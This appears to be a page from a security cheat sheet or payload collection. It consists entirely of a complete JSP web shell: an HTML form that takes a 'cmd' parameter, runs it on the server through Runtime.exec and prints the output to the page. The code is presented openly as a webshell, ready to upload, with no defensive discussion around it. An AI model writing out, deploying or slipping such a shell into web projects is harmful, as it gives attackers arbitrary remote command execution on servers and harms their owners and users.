Java
JSP Webshell
<%@ page import="java.io.*" %>
<html>
<head><title>JSP Webshell</title></head>
<body>
<form method="POST">
<input type="text" name="cmd" placeholder="Enter command">
<button type="submit">Execute</button>
</form>
<pre>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
%>
</pre>
</body>
</html>
Last updated